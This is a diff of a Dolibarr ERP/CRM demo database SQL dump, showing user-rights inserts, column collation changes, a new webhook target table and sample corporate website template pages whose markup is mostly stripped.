(12785,1,13,78),(12786,1,13,79),(12787,1,13,81),(12788,1,13,91),(12789,1,13,95),(12790,1,13,97),(12791,1,13,101),(12792,1,13,111),(12793,1,13,121),(12794,1,13,151),(12795,1,13,161),(12796,1,13,171),(12797,1,13,221),(12798,1,13,222),(12799,1,13,229),(12800,1,13,241),(12801,1,13,242),(12802,1,13,243),(12803,1,13,262),(12804,1,13,281),(12805,1,13,300),(12806,1,13,331),(12807,1,13,341),(12808,1,13,342),(12809,1,13,343),(12810,1,13,344),(12811,1,13,531),(12812,1,13,700),(12813,1,13,1001),(12814,1,13,1002),(12815,1,13,1003),(12816,1,13,1004),(12817,1,13,1005),(12818,1,13,1101),(12819,1,13,1181),(12820,1,13,1182),(12821,1,13,1201),(12822,1,13,1202),(12823,1,13,1231),(12824,1,13,2401),(12825,1,13,2501),(12826,1,13,2503),(12827,1,13,2515),(12828,1,13,20001),(12830,1,13,23001),(12831,1,13,50101),(12832,1,14,11),(12833,1,14,21),(12834,1,14,31),(12835,1,14,41),(12836,1,14,61),(12837,1,14,71),(12838,1,14,72),(12839,1,14,74),(12840,1,14,75),(12841,1,14,78),(12842,1,14,79),(12843,1,14,81),(12844,1,14,91),(12845,1,14,95),(12846,1,14,97),(12847,1,14,101),(12848,1,14,111),(12849,1,14,121),(12850,1,14,151),(12851,1,14,161),(12852,1,14,171),(12853,1,14,221),(12854,1,14,222),(12855,1,14,229),(12856,1,14,241),(12857,1,14,242),(12858,1,14,243),(12859,1,14,262),(12860,1,14,281),(12861,1,14,300),(12862,1,14,331),(12863,1,14,341),(12864,1,14,342),(12865,1,14,343),(12866,1,14,344),(12867,1,14,531),(12868,1,14,700),(12869,1,14,1001),(12870,1,14,1002),(12871,1,14,1003),(12872,1,14,1004),(12873,1,14,1005),(12874,1,14,1101),(12875,1,14,1181),(12876,1,14,1182),(12877,1,14,1201),(12878,1,14,1202),(12879,1,14,1231),(12880,1,14,2401),(12881,1,14,2501),(12882,1,14,2503),(12883,1,14,2515),(12884,1,14,20001),(12886,1,14,23001),(12887,1,14,50101),(12944,1,16,11),(12945,1,16,21),(12946,1,16,31),(13056,1,16,41),(13057,1,16,42),(13058,1,16,44),(13059,1,16,45),(12948,1,16,61),(12949,1,16,71),(12950,1,16,72),(12951,1,16,74),(12952,1,16,75),(12953,1,16,78),(12954,1,16,79),(12955,1,16,81),(12956,1,16,91),(12957,1,16,95),(12958,1,16,97),(12959,1,16,101),(12960,1,16,111),(12961,1,16,121),(13060,1,16,141),(13061,1,16,142),(13062,1,16,144),(12962,1,16,151),(12963,1,16,161),(12964,1,16,171),(12965,1,16,221),(12966,1,16,222),(12967,1,16,229),(12968,1,16,241),(12969,1,16,242),(12970,1,16,243),(13128,1,16,251),(13064,1,16,262),(12972,1,16,281),(12973,1,16,300),(12974,1,16,331),(12975,1,16,341),(12976,1,16,342),(12977,1,16,343),(12978,1,16,344),(12979,1,16,531),(12980,1,16,700),(12981,1,16,1001),(12982,1,16,1002),(12983,1,16,1003),(12984,1,16,1004),(12985,1,16,1005),(12986,1,16,1101),(12987,1,16,1181),(12988,1,16,1182),(12989,1,16,1201),(12990,1,16,1202),(12991,1,16,1231),(12992,1,16,2401),(12993,1,16,2501),(12994,1,16,2503),(12995,1,16,2515),(12996,1,16,20001),(12998,1,16,23001),(12999,1,16,50101),(13000,1,17,11),(13001,1,17,21),(13002,1,17,31),(13065,1,17,41),(13066,1,17,42),(13067,1,17,44),(13068,1,17,45),(13004,1,17,61),(13005,1,17,71),(13006,1,17,72),(13007,1,17,74),(13008,1,17,75),(13009,1,17,78),(13010,1,17,79),(13011,1,17,81),(13012,1,17,91),(13013,1,17,95),(13014,1,17,97),(13015,1,17,101),(13016,1,17,111),(13017,1,17,121),(13069,1,17,141),(13070,1,17,142),(13071,1,17,144),(13018,1,17,151),(13019,1,17,161),(13020,1,17,171),(13021,1,17,221),(13022,1,17,222),(13023,1,17,229),(13024,1,17,241),(13025,1,17,242),(13026,1,17,243),(13028,1,17,281),(13029,1,17,300),(13030,1,17,331),(13031,1,17,341),(13032,1,17,342),(13033,1,17,343),(13034,1,17,344),(13035,1,17,531),(13036,1,17,700),(13037,1,17,1001),(13038,1,17,1002),(13039,1,17,1003),(13040,1,17,1004),(13041,1,17,1005),(13042,1,17,1101),(13043,1,17,1181),(13044,1,17,1182),(13045,1,17,1201),(13046,1,17,1202),(13047,1,17,1231),(13048,1,17,2401),(13049,1,17,2501),(13050,1,17,2503),(13051,1,17,2515),(13052,1,17,20001),(13054,1,17,23001),(13055,1,17,50101),(14504,1,18,11),(14505,1,18,21),(14506,1,18,31),(14507,1,18,41),(14508,1,18,61),(14509,1,18,71),(14510,1,18,78),(14511,1,18,81),(14512,1,18,91),(14513,1,18,95),(14514,1,18,101),(14515,1,18,111),(14516,1,18,121),(14517,1,18,151),(14518,1,18,161),(14519,1,18,221),(14520,1,18,241),(14521,1,18,262),(14522,1,18,281),(14523,1,18,300),(14524,1,18,331),(14525,1,18,332),(14526,1,18,333),(14527,1,18,341),(14528,1,18,342),(14529,1,18,343),(14530,1,18,344),(14531,1,18,531),(14532,1,18,701),(14533,1,18,771),(14534,1,18,774),(14535,1,18,1001),(14536,1,18,1004),(14537,1,18,1101),(14538,1,18,1181),(14539,1,18,1182),(14540,1,18,1201),(14541,1,18,1231),(14542,1,18,2401),(14543,1,18,2501),(14544,1,18,2503),(14545,1,18,2515),(14546,1,18,20001),(14548,1,18,50101),(14549,1,18,59001),(15242,1,19,21),(15243,1,19,31),(15244,1,19,41),(15245,1,19,61),(15246,1,19,71),(15247,1,19,78),(15248,1,19,81),(15249,1,19,101),(15250,1,19,121),(15251,1,19,151),(15252,1,19,161),(15253,1,19,221),(15254,1,19,241),(15255,1,19,262),(15256,1,19,281),(15257,1,19,300),(15258,1,19,331),(15259,1,19,332),(15260,1,19,341),(15261,1,19,342),(15262,1,19,343),(15263,1,19,344),(15264,1,19,531),(15265,1,19,701),(15266,1,19,771),(15267,1,19,774),(15268,1,19,777),(15269,1,19,1001),(15270,1,19,1004),(15271,1,19,1101),(15272,1,19,1121),(15273,1,19,1181),(15274,1,19,1182),(15275,1,19,1201),(15276,1,19,1231),(15277,1,19,2401),(15278,1,19,2501),(15279,1,19,20001),(15281,1,19,50101),(15282,1,19,59001),(15283,1,19,63001),(22910,1,22,701),(23925,1,29,21),(23926,1,29,31),(23927,1,29,41),(23928,1,29,61),(23929,1,29,151),(23930,1,29,161),(23931,1,29,241),(23940,1,29,251),(23932,1,29,301),(23933,1,29,304),(23939,1,29,342),(23941,1,29,358),(23934,1,29,601),(23935,1,29,701),(23936,1,29,1001),(23937,1,29,1004),(23938,1,29,1201); /*!40000 ALTER TABLE `llx_user_rights` ENABLE KEYS */; UNLOCK TABLES; @@ -13606,12 +12714,12 @@ DROP TABLE IF EXISTS `llx_usergroup`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_usergroup` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `nom` varchar(255) COLLATE utf8mb3_unicode_ci NOT NULL, + `nom` varchar(255) NOT NULL, `entity` int(11) NOT NULL DEFAULT 1, `datec` datetime DEFAULT NULL, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), - `note` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `model_pdf` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `note` text DEFAULT NULL, + `model_pdf` varchar(255) DEFAULT NULL, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_usergroup_name` (`nom`,`entity`) ) ENGINE=InnoDB AUTO_INCREMENT=5 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -13638,7 +12746,7 @@ CREATE TABLE `llx_usergroup_extrafields` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_object` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `idx_usergroup_extrafields` (`fk_object`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -13713,6 +12821,49 @@ INSERT INTO `llx_usergroup_user` VALUES (2,1,1,3),(12,1,2,4),(3,1,3,3),(4,1,11,2 /*!40000 ALTER TABLE `llx_usergroup_user` ENABLE KEYS */; UNLOCK TABLES; +-- +-- Table structure for table `llx_webhook_target` +-- + +DROP TABLE IF EXISTS `llx_webhook_target`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `llx_webhook_target` ( + `rowid` int(11) NOT NULL AUTO_INCREMENT, + `ref` varchar(128) NOT NULL, + `label` varchar(255) DEFAULT NULL, + `description` text DEFAULT NULL, + `note_public` text DEFAULT NULL, + `note_private` text DEFAULT NULL, + `date_creation` datetime NOT NULL, + `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), + `fk_user_creat` int(11) NOT NULL, + `fk_user_modif` int(11) DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, + `status` int(11) NOT NULL DEFAULT 0, + `url` varchar(255) NOT NULL, + `connection_method` varchar(255) DEFAULT NULL, + `connection_data` varchar(255) DEFAULT NULL, + `trigger_codes` text DEFAULT NULL, + PRIMARY KEY (`rowid`), + KEY `idx_webhook_target_rowid` (`rowid`), + KEY `idx_webhook_target_ref` (`ref`), + KEY `llx_webhook_target_fk_user_creat` (`fk_user_creat`), + KEY `idx_webhook_target_status` (`status`), + CONSTRAINT `llx_webhook_target_fk_user_creat` FOREIGN KEY (`fk_user_creat`) REFERENCES `llx_user` (`rowid`) +) ENGINE=InnoDB AUTO_INCREMENT=17 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `llx_webhook_target` +-- + +LOCK TABLES `llx_webhook_target` WRITE; +/*!40000 ALTER TABLE `llx_webhook_target` DISABLE KEYS */; +INSERT INTO `llx_webhook_target` VALUES (16,'','dd','',NULL,NULL,'2023-02-19 22:05:14','2023-02-20 01:05:14',12,NULL,NULL,1,'ddd',NULL,NULL,'fdfd\r\ngdfgfd'); +/*!40000 ALTER TABLE `llx_webhook_target` ENABLE KEYS */; +UNLOCK TABLES; + -- -- Table structure for table `llx_website` -- @@ -13723,29 +12874,29 @@ DROP TABLE IF EXISTS `llx_website`; CREATE TABLE `llx_website` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `entity` int(11) NOT NULL DEFAULT 1, - `ref` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `description` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `ref` varchar(128) DEFAULT NULL, + `description` varchar(255) DEFAULT NULL, `status` int(11) DEFAULT NULL, `fk_default_home` int(11) DEFAULT NULL, - `virtualhost` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `virtualhost` varchar(255) DEFAULT NULL, `date_creation` datetime DEFAULT NULL, `date_modification` datetime DEFAULT NULL, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_user_creat` int(11) DEFAULT NULL, `fk_user_modif` int(11) DEFAULT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `maincolor` varchar(16) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `maincolorbis` varchar(16) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, + `maincolor` varchar(16) DEFAULT NULL, + `maincolorbis` varchar(16) DEFAULT NULL, `use_manifest` int(11) DEFAULT NULL, - `lang` varchar(8) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `otherlang` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `lang` varchar(8) DEFAULT NULL, + `otherlang` varchar(255) DEFAULT NULL, `position` int(11) DEFAULT 0, `lastaccess` datetime DEFAULT NULL, `pageviews_month` bigint(20) unsigned DEFAULT 0, `pageviews_total` bigint(20) unsigned DEFAULT 0, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_website_ref` (`ref`,`entity`) -) ENGINE=InnoDB AUTO_INCREMENT=6 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=8 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -13754,7 +12905,7 @@ CREATE TABLE `llx_website` ( LOCK TABLES `llx_website` WRITE; /*!40000 ALTER TABLE `llx_website` DISABLE KEYS */; -INSERT INTO `llx_website` VALUES (2,1,'mywebsite','My web site',1,4,'','2019-10-08 20:55:48',NULL,'2019-11-28 12:02:46',12,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL,0,0),(3,1,'mypersonalsite','My personal web site',1,11,NULL,'2019-10-08 20:57:59',NULL,'2020-01-09 15:59:24',12,12,NULL,NULL,NULL,0,NULL,NULL,0,NULL,0,0),(4,1,'template-stellar','',1,23,'','2020-12-10 13:25:34',NULL,'2020-12-10 12:27:17',12,NULL,NULL,NULL,NULL,NULL,'en','',0,NULL,0,0),(5,1,'template-corporate','',1,11,'','2020-12-10 13:25:55',NULL,'2020-12-10 12:26:50',12,NULL,NULL,NULL,NULL,NULL,'en','',0,NULL,0,0); +INSERT INTO `llx_website` VALUES (2,1,'mywebsite','My web site test',1,4,NULL,'2019-10-08 20:55:48',NULL,'2023-02-11 13:21:48',12,12,NULL,NULL,NULL,0,'en','',0,NULL,0,0),(3,1,'mypersonalsite','My personal web site',1,11,NULL,'2019-10-08 20:57:59',NULL,'2020-01-09 15:59:24',12,12,NULL,NULL,NULL,0,'en','fr,es',0,NULL,0,0),(6,1,'template-corporate','',1,36,'','2023-01-12 17:24:26',NULL,'2023-01-12 20:25:06',12,NULL,NULL,NULL,NULL,NULL,'en','',0,NULL,0,0),(7,1,'template-stellar',NULL,1,47,NULL,'2023-01-12 17:25:32',NULL,'2023-02-06 14:22:17',12,NULL,NULL,NULL,NULL,NULL,'en','',0,NULL,0,0); /*!40000 ALTER TABLE `llx_website` ENABLE KEYS */; UNLOCK TABLES; @@ -13769,7 +12920,7 @@ CREATE TABLE `llx_website_extrafields` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_object` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `idx_website_extrafields` (`fk_object`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -13794,33 +12945,33 @@ DROP TABLE IF EXISTS `llx_website_page`; CREATE TABLE `llx_website_page` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `fk_website` int(11) NOT NULL, - `pageurl` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `aliasalt` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `title` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `description` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `keywords` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `content` mediumtext COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `pageurl` varchar(255) DEFAULT NULL, + `aliasalt` varchar(255) DEFAULT NULL, + `title` varchar(255) DEFAULT NULL, + `description` varchar(255) DEFAULT NULL, + `keywords` varchar(255) DEFAULT NULL, + `content` mediumtext DEFAULT NULL, `status` int(11) DEFAULT 1, `date_creation` datetime DEFAULT NULL, `date_modification` datetime DEFAULT NULL, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_user_creat` int(11) DEFAULT NULL, `fk_user_modif` int(11) DEFAULT NULL, - `type_container` varchar(16) COLLATE utf8mb3_unicode_ci NOT NULL DEFAULT 'page', - `lang` varchar(6) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `type_container` varchar(16) NOT NULL DEFAULT 'page', + `lang` varchar(6) DEFAULT NULL, `fk_page` int(11) DEFAULT NULL, - `grabbed_from` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `htmlheader` mediumtext COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `image` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `author_alias` varchar(64) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `grabbed_from` varchar(255) DEFAULT NULL, + `htmlheader` mediumtext DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, + `image` varchar(255) DEFAULT NULL, + `author_alias` varchar(64) DEFAULT NULL, `allowed_in_frames` int(11) DEFAULT 0, - `object_type` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `fk_object` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `object_type` varchar(255) DEFAULT NULL, + `fk_object` varchar(255) DEFAULT NULL, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_website_page_url` (`fk_website`,`pageurl`), CONSTRAINT `fk_website_page_website` FOREIGN KEY (`fk_website`) REFERENCES `llx_website` (`rowid`) -) ENGINE=InnoDB AUTO_INCREMENT=26 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=52 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -13829,7 +12980,7 @@ CREATE TABLE `llx_website_page` ( LOCK TABLES `llx_website_page` WRITE; /*!40000 ALTER TABLE `llx_website_page` DISABLE KEYS */; -INSERT INTO `llx_website_page` VALUES (1,5,'blog','','Blog','Blog','blog','
\n\n \n\n
\n
\n
\n
\n
\n
\n
\n
\n
The latest news...\n
\n
\n
\n
\n
\n
\n
\n
\n\n\n
\n

\n
\n\n

\n\n \n\n
\n',1,'2020-10-07 13:13:26',NULL,'2020-12-10 12:28:18',NULL,NULL,'page','en',NULL,'','',NULL,'','',0,NULL,NULL),(2,5,'blog-our-company-is-now-on-dolibarr','','Our company is now on Dolibarr ERP CRM','Our company has moved on Dolibarr ERP CRM. This is an important step in improving all of our services.','','\n\n \n \n
\n
\n
\n
\n
\n
\n
\n
\n
title; ?>\n
\n
\n
\n
\n
\n
\n
\n
\n\n
\n


\n Like several thousands of companies, our company (name ?>) has moved all its information system to Dolibarr ERP CRM. More than 20 applications have been replaced by only one, easier to use and fully integrated.\n This is an important step in improving all of our services.\n \n


\n \n
\n \n

\n
Screenshot of our new Open Source solution
\n
\n \n \n \n





\n
\n\n\n\n\n\n',1,'2020-10-07 13:13:26',NULL,'2020-12-10 12:28:18',NULL,NULL,'blogpost','en',NULL,'','',NULL,'image/template-corporate/background_dolibarr.jpg','',0,NULL,NULL),(3,5,'blog-our-new-web-site-has-been-launched','','Our new web site has been launched','Our new website, based on Dolibarr CMS, has been launched. Modern and directly integrated with the internal management tools of the company, many new online services for our customers will be able to see the day...','','\n\n
\n
\n
\n
\n
\n
\n
\n
\n
title; ?>\n
\n
\n
\n
\n
\n
\n
\n
\n\n
\n





\n\n\n Our new website, based on Dolibarr CMS, has been launched.
\n Now it is modern and directly integrated with the internal management tools of the company. Many new online services will be available for our customers...\n\n \n


\n \n
\n \n

\n
Theme of our new web site
\n
\n \n\n





\n
\n\n\n\n\n\n\n',1,'2020-10-07 13:13:26',NULL,'2020-12-10 12:28:18',NULL,NULL,'blogpost','en',NULL,'','',NULL,'image/template-corporate/background_rough-horn.jpg','',0,NULL,NULL),(4,5,'careers','','Careers','Our job opportunities','career','
\n\n \n\n
\n
\n
\n
\n
\n
\n
\n
\n
Job opportunities\n
\n
\n
\n
\n
\n
\n
\n
\n\n\n
\n
\n
\n\n\n

\n\n \n\n
\n \n\n',1,'2020-10-07 13:13:26',NULL,'2021-01-03 18:01:53',NULL,NULL,'page','en',NULL,'','',NULL,'','',0,NULL,NULL),(5,5,'carriere','','Carrière','Nos opportunités professionnelles','career','
\n\n \n\n
\n
\n
\n
\n
\n
\n
\n
\n
Offres d\'emploi\n
\n
\n
\n
\n
\n
\n
\n
\n\n\n
\n
\n
\n
\n
\nNous n\'avons pas d\'offres d\'emploi ouvertes en ce moment...
\n
\n
\n
\n
\n
\n
\n\n\n

\n\n \n\n
\n \n\n',1,'2020-10-07 13:13:26',NULL,'2020-12-10 12:28:18',NULL,NULL,'page','fr',NULL,'','',NULL,'','',0,NULL,NULL),(6,5,'clients-testimonials','','Clients Testimonials','Client Testimonials','testimonials, use cases, success story','
\n\n \n\n
\n
\n
\n
\n
\n
\n
\n
\n
Testimonials\n
\n
\n
\n
\n
\n
\n
\n
\n\n\n
\n

\n

What they say about us

\n



\n Send us your testimonial (by email to email; ?>\">email; ?>)\n



\n

\n
\n\n

\n\n \n\n
\n \n',1,'2020-10-07 13:13:26',NULL,'2020-12-10 12:28:18',NULL,NULL,'page','en',NULL,'','',NULL,'','',0,NULL,NULL),(7,5,'contact','','Contact','Privacy Policies','Contact','
\n\n \n\n
\n
\n
\n
\n
\n
\n
\n
\n
Contact\n
\n
\n
\n
\n
\n
\n
\n
\n\n\n
\n
\n

Contact us:



\n email ?>
\n getFullAddress() ?>
\n
\n
\n\n\n \n
\n
\n \n
\n\n


\n\n \n\n
\n \n',1,'2020-10-07 13:13:26',NULL,'2020-12-10 12:28:18',NULL,NULL,'page','en',NULL,'','',NULL,'','',0,NULL,NULL),(8,5,'faq','','FAQ','Frequently Asked Questions','faq','
\n\n \n\n
\n
\n
\n
\n
\n
\n
\n
\n
FAQs\n
\n
\n
\n
\n
\n
\n
\n
\n\n\n
\n
\n


Frequently Asked Questions

\n
\n
\n
\n

How can I contact you ?


\nYou can contact us by using this page.\n
\n
\n
\n

What is your privacy policy ?


\nYou may find information about our privacy policy on this page.\n\n\n



\n\n
\n
\n\n\n

\n\n \n\n
\n \n\n',1,'2020-10-07 13:13:26',NULL,'2020-12-10 12:28:18',NULL,NULL,'page','en',NULL,'','',NULL,'','',0,NULL,NULL),(9,5,'footer','','Footer','Footer','','\n
\n\n \n \n \n\n
\n\n\n\n',1,'2020-10-07 13:13:26',NULL,'2020-12-10 12:28:18',NULL,NULL,'other','en',NULL,'','',NULL,'','',0,NULL,NULL),(10,5,'header','','Header and Top Menu','Header with menu','','\n\n\n\n
\n
\n
\n \n
\n
\n
\n',1,'2020-10-07 13:13:26',NULL,'2020-12-10 12:28:18',NULL,NULL,'other','en',NULL,'','',NULL,'','',0,NULL,NULL),(11,5,'home','','Home','Welcome','','
\n \n \n \n \n \n
\n
\n
\n
\n
\n
\n
\n
\n
Boost your business\n
\n
\n

We provide powerful solutions for all businesses

\n
\n \n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
 Best prices on the market \n
\n
\n

Our optimized processes allows us to provide you very competitive prices

\n
\n \n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n\n\n\n \n
\n
\n
\n
\n
\n
\n \n
\n
\n

Our sales representative are also technicians.

\n
\n
\n
\n
\n
\n \n
\n

Take a look at our offers...

\n
\n
\n
\n
\n
\n \n
\n

Our customer-supplier relationship is very appreciated by our customers

\n
\n
\n
\n
\n
\n
\n
\n \n
\n
\n

We continue to follow and assist you after the sale. Contact us at any time.

\n
\n
\n
\n
\n
\n\n\n \n
\n
\n

Looking for

\n

a high quality service?

\n

With a lot of experience, hiring us is a security for your business!

\n
\n
\n
11
\n
Years of Experience
\n
\n
\n
\n query($sql); $obj = $db->fetch_object($resql); print $obj->nb; ?>\n
\n
Experts
\n
\n
\n
\n query($sql); $obj = $db->fetch_object($resql); print $obj->nb; ?>\n
\n
Trusted Clients
\n
\n
\n
\n \n
\n
\n
\n\n \n \n \n
\n
\n
\n \n
\n \n
\n \n
\n

our plans

\n\n \n
\n \n
\n
\n
\n
FREE
\n
The best choice for personal use
\n
The service 1 for free
\n
\n 0/ month\n
\n
\n Available features are : \n
    \n
  • \n \n Service 1 \n
  • \n
\n
\n
\n Subcribe\n
\n
\n
\n \n \n \n
\n
\n
\n
STARTER
\n
For small companiess
\n
The service 1 and product 1 at low price
\n
\n 29/ month\n
\n
\n Available features are : \n
    \n
  • \n \n Service 1\n
  • \n
  • \n \n Product 1\n
  • \n
\n
\n
\n Subscribe\n
\n
\n
\n \n \n \n
\n
\n
\n
PREMIUM
\n
For large companies
\n
The full option package for a one shot price\n
\n
\n 2499\n
\n
\n Available features are :\n
    \n
  • \n \n Service 1
  • \n
  • \n \n Service 2
  • \n
  • \n \n Product 1
  • \n
\n
\n
\n Buy\n
\n
\n
\n \n
\n \n
\n \n
\n \n
\n \n \n
\n
\n
\n \n \n \n
\n
\n

our team

\n
\n
\n \n
\n
\n
\n
\n\n\n \n
\n
\n
\n
\n
\n

Request a callback

\n
\n
\n \n
\n
\n \n
\n
\n \n
\n
\n \n
\n
\n
\n
\n
\n
\n
\n \n \n \n
\n
\n
\n
\n
\n

successful cases

\n
\n
\n
\n
\n
\"\"\n
\n
\n
\n
\"\"\n
\n
\n
\n
\"\"\n
\n
\n
\n
\"\"\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n Albert Einstein\n
\n
Scientist, www.emc2.org
\n
\n
\n
\n
\n
-20%
\n
Expenses
\n
\n
\n
\n
\n
\n
\n \n They did everything, with almost no time or effort for me. The best part was that I could trust their team to represent our company professionally with our clients.\n \n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n Pierre Curie\n
\n
CEO “Cyclonic”
\n
\n
\n
\n
\n
-30%
\n
Expenses
\n
\n
\n
\n
\n
\n
\n \n Their course gave me the confidence to implement new techniques in my work. I learn “how” to write – “what” and “why” also became much clearer.\n \n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n Marie Curie\n
\n
CTO \"Cyclonic\"
\n
\n
\n
\n
\n
+22%
\n
Turnover
\n
\n
\n
\n
\n
\n
\n \n We were skeptical to work with a consultant to optimize our sales emails, but they were highly recommended by many other startups we knew. They helped us to reach our objective of 20% turnover increase, in 4 monthes.\n \n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n John Doe\n
\n
Sale representative
\n
\n
\n
\n
\n
+40%
\n
Quotes
\n
\n
\n
\n
\n
\n
\n \n Their work on our website and Internet marketing has made a significant different to our business. We’ve seen a +40% increase in quote requests from our website.\n \n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n \n\n \n
\n
\n

Latest News

\n \n
\n
\n\n\n \n\n\n
\n',1,'2020-10-07 13:13:26',NULL,'2020-12-10 12:28:18',NULL,NULL,'page','en',NULL,'','',NULL,'','',0,NULL,NULL),(12,5,'our-team','','Our team','Our team','team','
\n\n \n\n
\n
\n
\n
\n
\n
\n
\n
\n
Our team\n
\n
\n
\n
\n
\n
\n
\n
\n\n\n
\n

\n

The crew...




\n query($sql);\n if (! $resql) dol_print_error($db);\n while ($obj = $db->fetch_object($resql))\n {\n $arrayofusers[]=$obj->rowid;\n }\n \n print \'
\';\n foreach($arrayofusers as $id)\n {\n $fuser->fetch($id);\n\n print \'
\';\n print \'
\';\n print \'
\';\n if ($fuser->photo) print Form::showphoto(\'userphoto\', $fuser, 100, 0, 0, \'photowithmargin\', \'\', 0);\n //print \'photo.\'\" width=\"129\" height=\"129\" alt=\"\">\';\n else print \'\"\"\';\n print \'
\';\n print \'
\';\n print \'
\'.$fuser->firstname.\'
\';\n print \'
    \';\n //print \'
  • September 24, 2018
  • \';\n if ($fuser->job) print \'
  • \'.$fuser->job.\'
  • \';\n else print \'
  • \';\n print \'
\';\n print \'
\';\n print \'
\';\n print \'
\';\n }\n print \'
\';\n\n ?>\n
\n
\n\n

\n\n \n\n
\n \n',1,'2020-10-07 13:13:26',NULL,'2020-12-10 12:28:18',NULL,NULL,'page','en',NULL,'','',NULL,'','',0,NULL,NULL),(13,5,'partners','','Partners','Partners','partners','
\n\n \n\n
\n
\n
\n
\n
\n
\n
\n
\n
Partners\n
\n
\n
\n
\n
\n
\n
\n
\n\n\n
\n
\n

Our partners...

\n
\n
\n
\n
\n
\n \n
\n
\n
\n
\n \n
\n
\n
\n
\n
\n \n
\n
\n
\n
\n
\n \n
\n
\n
\n
\n
\n
\n
\n
\n
\n\n\n

\n\n \n\n
\n \n\n',1,'2020-10-07 13:13:26',NULL,'2020-12-10 12:28:18',NULL,NULL,'page','en',NULL,'','',NULL,'','',0,NULL,NULL),(14,5,'pricing','','Pricing','All the prices of our offers','pricing','
\n\n \n\n
\n
\n
\n
\n
\n
\n
\n
\n
Our plans\n
\n
\n
\n
\n
\n
\n
\n
\n\n\n\n\n \n
\n
\n
\n \n
\n \n
\n \n
\n\n \n
\n \n
\n
\n
\n
FREE
\n
The best choice for personal use
\n
The service 1 for free
\n
\n 0/ month\n
\n
\n Available features are : \n
    \n
  • \n \n Service 1 \n
  • \n
\n
\n
\n Subcribe\n
\n
\n
\n \n \n \n
\n
\n
\n
STARTER
\n
For small companiess
\n
The service 1 and product 1 at low price
\n
\n 29/ month\n
\n
\n Available features are : \n
    \n
  • \n \n Service 1\n
  • \n
  • \n \n Product 1\n
  • \n
\n
\n
\n Subscribe\n
\n
\n
\n \n \n \n
\n
\n
\n
PREMIUM
\n
For large companies
\n
The full option package for a one shot price\n
\n
\n 2499\n
